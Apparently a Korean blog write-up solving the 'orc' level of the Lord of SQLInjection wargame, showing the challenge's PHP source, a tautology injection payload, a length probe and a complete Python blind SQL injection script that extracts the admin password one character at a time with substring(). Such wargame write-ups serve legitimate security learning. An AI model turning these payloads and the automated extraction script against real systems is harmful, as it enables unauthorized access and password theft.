반응형

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>
cs

 

pw=1' or '1'='1 로 입력하면 hello admin이 출력된다. 그러나 문제를 풀려면 아래 조건을 만족해야 한다.

 

 if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("orc");

 

실제 pw값과 입력한 pw값이 같아야 한다.

 

그러기 위해서는 pw값을 구해야 한다.

pw부분이 true가 되면 hello admin이 출력되는 것을 이용해서 블라인드 sqli을 하면 된다.

 

length를 이용해서 pw의 길이를 구한 뒤에

substr()함수를 이용해서 한자리씩 구하면 된다. 직접 수작업으로 하는 건 힘들기 때문에 자동화 코드를 짜서 돌리면 된다.

 

?pw=1' or '1'='1' and length(pw) = 8%23

query : select id from prob_orc where id='admin' and pw='1' or '1'='1' and length(pw) = 8#'

pw의 길이가 8임을 알 수 있다.

 

 

이제 pw를 구하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "1' or '1'='1' and(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=ur_cookie_value')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs

ur_cookie_value 에 본인 쿠키값 입력.

 

 

 

처음에 

string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+="

로 사용하면 패스워드가 djfasioe로 나온다.

그런데 첫 글자에 0을 넣어도 True가 된다.

 

그래서 string을 바꿔서

 

string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="

로 하면 제대로 된 pw가 나온다.

반응형

+ Recent posts